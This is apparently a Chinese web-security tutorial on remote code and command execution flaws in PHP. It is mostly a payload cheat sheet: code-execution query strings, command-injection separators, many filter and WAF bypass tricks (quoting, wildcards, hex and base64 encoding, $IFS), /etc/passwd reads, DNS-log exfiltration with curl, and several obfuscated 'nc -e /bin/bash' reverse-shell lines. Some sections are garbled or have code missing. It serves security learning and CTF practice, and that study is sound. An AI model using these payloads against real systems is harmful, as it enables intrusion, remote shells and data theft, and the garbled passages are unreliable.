??在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
文章图片
一、代码执行
1、脚本
(1)PHP
??PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。
??常见代码执行函数,如
eval()、assert()、preg_replace()、create_function()array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()文件操作函数、动态函数($a($b))
a、eval() ??
eval()
函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
b、assert() ??与eval类似,字符串被
assert()
当做 PHP 代码来执行,如:
c、preg_replace ??语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
??搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
??参数说明:
[+] $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
[+] $replacement: 用于替换的字符串或字符串数组。
[+] $subject: 要搜索替换的目标字符串或字符串数组。
[+] $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
[+] $count: 可选,为替换执行的次数。
??**返回值:**如果 subject 是一个数组,
preg_replace()
返回一个数组, 其他情况下返回一个字符串。 如果匹配被查找到,替换后的 subject 被返回,其他情况下返回没有改变的 subject。如果发生错误,返回 NULL。??危险点:
preg_replace()
函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace()
将 replacement 参数当作 PHP 代码??示例代码:
d、create_function() ??语法:
string create_function(string $args, string $code)
string $args 变量部分
string $code 方法代码部分
??举例:
create_function('$fname','echo $fname."Zhang"')
??类似于:
function fT($fname) {
echo $fname."Zhang";
}
??举一个官方提供的例子:
??create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给
create_function()
执行任意命令。??现在利用
create_function()
实现代码注入??测试环境版本:apache +php 5.2、apache +php 5.3
??有问题的代码
";
echo "==============================";
echo "
";
$f1 = create_function('$a',$str2);
echo "
";
echo "==============================";
?>
??利用方法:
index.php?id=2;
}phpinfo();
/*
??实现原理:
由于id= 2;
}phpinfo();
/*
执行函数为:
源代码:
function fT($a) {
echo "test".$a;
}注入后代码:
function fT($a) {
echo "test";
}
phpinfo();
/*;
//此处为注入代码。
}
文章图片
e、array_map ??
array_map()
函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map()
函数的数组数目一致。??代码示例:
f、call_user_func()/call_user_func_array () ??
call_user_func
——把第一个参数作为回调函数调用,其余参数是回调函数的参数。??
call_user_func_array
——调用回调函数,并把一个数组参数作为回调函数的参数
g、array_filter()
array array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
??依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
h、usort()、uasort() ??
usort()
通过用户自定义的比较函数对数组进行排序。??
uasort()
使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。??代码示例:
php环境>=5.6才能用
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能用
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
参考链接:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
i、文件操作函数 ??
file_put_contents()
函数把一个字符串写入文件中。??
fputs()
函数写入文件??代码示例:
';
file_put_contents('test1.php',$test);
?>
');
?>
j、动态函数 ??PHP函数直接由字符串拼接
??代码示例:
(2)Java
待更新…
(3)Python
待更新…
2、产生
- Web源码:thinkphp、eyoucms、wordpress
- 中间件平台:Tomcat、apache、struts2、Redis、Nginx(PHP 远程代码执行漏洞复现(CVE-2019-11043))
- 其他环境:php-cgi、jenkins-cl、java RMI
- 白盒:代码审计
- 黑盒:漏扫工具、公开漏洞、手工看参数及功能点
- 敏感函数禁用
- 变量过滤或固定
- waf产品
sysytem
、exec
、shell_exec
、passthru
、 pcntl_exec
、popen
、proc_popen
、 反引号
等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞2、命令执行漏洞利用条件
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
??商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program --arg $arg");
(2)系统的漏洞造成命令注入
??bash破壳漏洞(CVE-2014-6271)
(3)调用的第三方组件存在代码执行漏洞
- 如wordPress中用来处理图片的imageMagick组件
- JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
- ThinkPHP命令执行
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至服务器
- 进一步内网渗透
- 等等
文章图片
??而如果将参数IP设置为127.0.0.1|dir,然后再次访问,从返回结果可以看到,程序直接将目录结构返回到页面上了,这里就利用了管道符"|"让系统执行了命令dir
文章图片
(1)命令拼接符 |、||、&、&& 的区别:
& | 不管前后命令是否执行成功都会执行前后命令 |
---|---|
&& | 具有短路效果。 前面的命令执行成功才能执行后面的命令 |
| | 管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行 |
|| | 具有短路效果。 前面的命令执行不成功才能执行后面的命令 |
- |:直接执行后面的语句,例如:
ping 127.0.0.1|whoami
- ||:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如
ping 2||whoami
- &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:
ping 127.0.0.1&whoami
- &&:如果前面的语句为假直接出错,也不执行后面的语句,前面的语句只能为真。例如:
ping 127.0.0.1&&whoami
- ;
:无论前面真假,执行完前面的语句再执行后面的。例如:ping
127.0.0.1; whoami
- |:显示后面语句执行的结果,例如:
ping 127.0.0.1|whoami
- ||:当前面执行的语句出错时,执行后面的语句。例如
ping 1||whoami
- &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:
ping 127.0.0.1&whoami
- &&:如果前面的语句为假直接出错,也不执行后面的语句,前面的语句只能为真。例如:
ping 127.0.0.1&&whoami
-
ping 127.0.0.1&ipconfig
#在linux系统里是几乎同时执行
-
ping 127.0.0.1 && ipconfig
#在linux系统里执行完前面再去执行后面
-
ping 127.0.0.1 &; & ipconfig
#其中**; **会被解析为空
-
ping 127.0.0.1 || ipconfig
#在linux中两个**||** = or
-
ping 127.0.0.1 | ipconfig
#在linux中**|**叫管道符,把前面一个命令执行的结果给后面的命令执行
7、命令执行漏洞修复建议
- 尽量不要使用命令执行函数
- 客户端提交的变量再进入执行命令函数前要做好过滤和检测
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对PHP语言来说,不能完全控制的危险函数最好不要使用
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2,…} | 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
字符 | 意义 |
---|---|
[:alnum:] | 任意数字或者字母 |
[:alpha:] | 任意字母 |
[:space:] | 空格 |
[:lower:] | 小写字母 |
[:digit:] | 任意数字 |
[:upper:] | 任意大写字母 |
[:cntrl:] | 控制符 |
[:graph:] | 图形 |
[:print:] | 可打印字符 |
[:punct:] | 标点符号 |
[:xdigit:] | 十六进制数 |
[:blank:] | 空白字符(未验证) |
字符 | 作用 |
---|---|
IFS | 由 < space > 或 < tab >或 < enter > 三者之一组成 |
CR | 由 < enter > 产生 |
= | 设定变量 |
$ | 作变量或运算替换 |
> | 重导向标准输出 |
< | 重导向标准输入 |
| | 命令管线 |
& | 重导向文件描述符,或将命令静默执行 |
( ) | 将其内的命令置于 nested subshell 执行,或用于运算或命令替换 |
{ } | 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围 |
; | 在前一个命令结束时,而忽略其返回值,继续执行下一个命令 |
&& | 在前一个命令结束时,若返回值为 true,继续执行下一个命令 |
|| | 在前一个命令结束时,若返回值为 false,继续执行下一个命令 |
! | 执行 history 中的命令 |
a、单引号/双引号 ??比如有的Linux会屏蔽ls,可以使用单引号进行绕过。例如
127.0.0.1 | l's'
来进行绕过,但是要谨记一点:引号的个数必须要是偶数个,才能完成闭合(命令完成闭合,文件/目录名完成闭合,不能命令中一个引号和文件/目录中一个引号闭合,这样无法闭合)b、反斜杠\ ??
\c\a\t pas\s\.tx\t
,不用闭合,想多少个就多少个。但注意不要两个\在一块,否则会\会被转义成字符串\(2)使用类似命令
a、读文件绕过
(1) cat
(2) paste: 会把每个文件以列对列的方式,一列列地加以合并
(3) more: 一页一页的显示档案内容
(4) less: 与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(5) head: 查看头几行
(6) tac: 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(7) tail: 查看尾几行
(8) nl:显示的时候,顺便输出行号
(9) od: 以二进制的方式读取档案内容
(10) vi: 一种编辑器,这个也可以查看
(11) vim: 一种编辑器,这个也可以查看
(12) sort: 可以查看
(13) uniq: 可以查看
(14) file -f: 报错出具体内容
$ more ts1//查看文件ts1
1
2
$ more ts2//查看文件ts2
cat
paste
$ cat ts1 ts2//按行合并
1
2
cat
paste
$ paste ts1 ts2 //按列合并
1 cat
2 paste
(3)使用通配符
a、低阶用法 ??屏蔽了php:
127.0.0.1 | c'a't ../haha.ph*
127.0.0.1 | c'a't ../haha.ph?
??屏蔽了命令和路径等:
/bin/cat /etc/passwd
变成 /???/c?t /??c/p???w?
,有时候WAF不允许使用太多的?号就/?in/c?t /?tc/p?sswd
/???/[l-n]s可替代ls
/???/c?t flag可替代cat flag
ls *.php列出当前目录下所有php文件
b、进阶用法(无字母数字匹配) ??如果我们遇到一个正则将
字母
、数字
、$
这些都过滤掉,要我们执行一个脚本的话,假如脚本名称为chakdiD且在根目录/etc下,我们可以用:. /???/??????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。
??几个例子:
/???/[:lower:]s
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
ls {/ru,/tmp}n
(4)变量拼接
kali@kali: a=c;
b=at;
c=fl;
d=ag;
$a$b $c$d
you are good!
(5)编码绕过
a、进制编码 ??参考https://zhidao.baidu.com/question/628764933342214124.html
??对应于ACSII码,\是八进制转义字符,\x为十六进制转义字符
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
??例子
kali@kali: $(printf "\154\163")
firefox-esr.desktopflag
文章图片
b、Base64编码
kali@kali: `echo 'Y2F0Cg==' | base64 -d` flag
you are good!
(6)空格过滤
a、${IFS} ??在shell中,有一个好用的环境变量$IFS,IFS表示 Internal Field Separator (内部字段分隔符),默认是空格符
??bash下的很多命令都会分割单词,绝大多数时候默认是采用空格作为分隔符,有些时候遇到制表符、换行符也会进行分隔。最典型的是"
for i in a b c
",它会分割变量列表"a b c"使其成为三个变量。这种分隔符是由IFS变量指定的??默认的IFS在碰到空格、制表符
\t
和分行符\n
就会自动分隔进入下一步。但是对空格处理有点不一样,对行首和行尾两边的空格不处理,并且多个连续的空格默认当作一个空格cat${IFS}/etc/passwd
b、$IFS$9 ??$9指传过来的第9个参数
kali@kali: cat$IFS$9flag
you are good!
kali@kali: cat$IFS$1flag
you are good!
c、%20、%09(tab)(需要PHP环境,不演示) d、<或者<>重定向
kali@kali: catflag
you are good!
(7)nc反弹shell
nc -e /bin/bash 192.168.0.104 3456
文章图片
??为了避免符号,可以将IP地址转换成整型:
nc -e /bin/bash 3232235624 3456
文章图片
??使用通配符:
/??n/?c -e /??n/b??h 3232235624 3456
(8)使用未初始化的bash变量
??在bash环境中允许我们使用未初始化的bash变量,比如a , a, a,b,$c 我们事先并没有定义它们,输出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
??未初始化的变量值都是Null
??读取/etc/passwd:
cat$a /etc$a/passwd$a
??测试WAF:
??which指令会在环境变量 P A T H 设 置 的 目 录 里 查 找 符 合 条 件 的 文 件 , 先 找 出 n c 文 件 路 径 : ‘ w w w . b a i d u . c o m ; PATH设置的目录里查找符合条件的文件 ,先找出nc文件路径:`www.baidu.com; PATH设置的目录里查找符合条件的文件,先找出nc文件路径:‘www.baidu.com; s/bin s / w h i c h s/which s/whichs nc$s`
文章图片
??知道nc在哪里了,反弹shell:
www.baidu.com;
/bin$s/nc$s -e/bin$s/bash$s 3232235624 3456
,-e后面有没有空格都可以文章图片
2、有的文件无法执行 ??先赋予执行权限再运行
chm'o'd 777 ./key.php
chm\o\d 777 ./key.php
3、直接读取文件
127.0.0.1;
curl file:///etc/passwd
4、利用dnslog或者http web log
ls | curl xxx.ceye.io/
whoami``5、绕过长度限制 (1)>和>>
??使用
>
命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入??
>>
符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容(2)命令换行
??换行执行命令
kali@kali:~/桌面$ ca\
> t\
>fl\
> ag
you are good!
文章图片
??可以尝试写一个文件来执行命令
kali@kali: echo "ca\\">shell
kali@kali: echo "t\\">>shell
kali@kali: echo " fl\\">>shell
kali@kali: echo "ag">>shell
kali@kali: cat shell
ca\
t\
fl\
ag
kali@kali: sh shell
you are good!
文章图片
6、内敛执行绕过 ??
命令
和$(命令)
都是执行命令的方式??例子
kali@kali: echo "m0re`cat flag`"
m0reyou are good!
kali@kali: echo "m0re $(cat flag)"
m0re you are good!
kali@kali: echo "m0re $(pwd)"
m0re /root
文章图片
四、涉及资源
- JAVA web网站代码审计--入门
- PHP 远程代码执行漏洞复现(CVE-2019-11043)
- 墨者靶场——PHP代码分析溯源(第4题)
- 墨者靶场——命令注入执行分析
- 【从0到1学习Web安全|RCE代码及命令执行漏洞】墨者靶场——Webmin未经身份验证的远程代码执行
推荐阅读
- 渗透测试|spring_cloud_rce(CVE-2022-22947)漏洞复现
- 漏洞通报|CVE-2022-22947 SpringCloud Gateway 远程命令执行漏洞
- 安全|Spring Cloud 再爆高危漏洞.... 赶紧修复
- web安全|网络安全笔记
- 笔记|网络安全-安全服务工程师-技能手册详细总结(建议学习収藏)
- 网络|软考 信息安全工程师(第二版)笔记-第1章 网络信息安全概述
- 安全|软考-中级-网络工程师-笔记-第3章-广域通信网
- 软考中级-网络工程师|(*长期更新)软考网络工程师学习笔记——Section 10 网络安全
- 操作系统|第三课(Linux基础)